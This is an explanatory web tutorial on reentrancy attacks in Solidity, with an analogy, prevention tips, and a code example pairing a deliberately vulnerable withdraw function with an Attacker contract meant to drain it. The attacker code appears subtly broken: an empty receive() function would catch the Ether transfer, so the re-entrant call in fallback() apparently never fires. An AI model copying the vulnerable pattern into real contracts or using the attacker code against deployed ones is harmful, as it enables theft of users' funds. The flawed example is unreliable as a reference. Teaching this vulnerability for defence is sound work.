Reentrancy Attack in Solidity: What It Is and How It Works
reentrancy attack in Solidity happens when a contract calls another contract that calls back into the first contract before the first call finishes, allowing repeated withdrawals or state changes. This can cause unexpected behavior and loss of funds if the contract does not properly update its state before external calls.How It Works
Imagine you have a piggy bank that lets your friend take money out. But before your friend finishes taking money out, they call you again to take more money before you close the piggy bank. This is like a reentrancy attack in Solidity.
In Solidity, when a contract sends money to another contract, the receiving contract can run code. If that code calls back into the original contract before it finishes updating its records, it can trick the original contract into sending money multiple times.
This happens because the original contract's state (like the balance) is not updated before the external call, so the attacker can keep withdrawing funds repeatedly.
Example
This example shows a vulnerable contract where an attacker can repeatedly withdraw funds by calling back before the balance updates.
pragma solidity ^0.8.0; contract Vulnerable { mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { uint amount = balances[msg.sender]; require(amount > 0, "No balance to withdraw"); // Send money to the caller (bool success, ) = msg.sender.call{value: amount}(""); require(success, "Failed to send Ether"); // Update balance after sending balances[msg.sender] = 0; } } contract Attacker { Vulnerable public vulnerable; constructor(address _vulnerable) { vulnerable = Vulnerable(_vulnerable); } // Fallback function called when receiving Ether fallback() external payable { if(address(vulnerable).balance >= 1 ether) { vulnerable.withdraw(); } } function attack() external payable { require(msg.value >= 1 ether, "Need at least 1 ether to attack"); vulnerable.deposit{value: 1 ether}(); vulnerable.withdraw(); } // Helper to receive Ether receive() external payable {} }
When to Use
Understanding reentrancy attacks is crucial when writing Solidity contracts that send Ether or call external contracts. You should always protect functions that transfer funds or change important state variables.
Real-world use cases include decentralized exchanges, wallets, and any contract that holds or moves Ether or tokens. Preventing reentrancy helps avoid losing funds to attackers exploiting this vulnerability.
Key Points
- A reentrancy attack exploits calling back into a contract before its state updates.
- It can cause repeated withdrawals or unexpected behavior.
- Always update state before making external calls to prevent it.
- Use Solidity's
checks-effects-interactionspattern orReentrancyGuardfrom OpenZeppelin.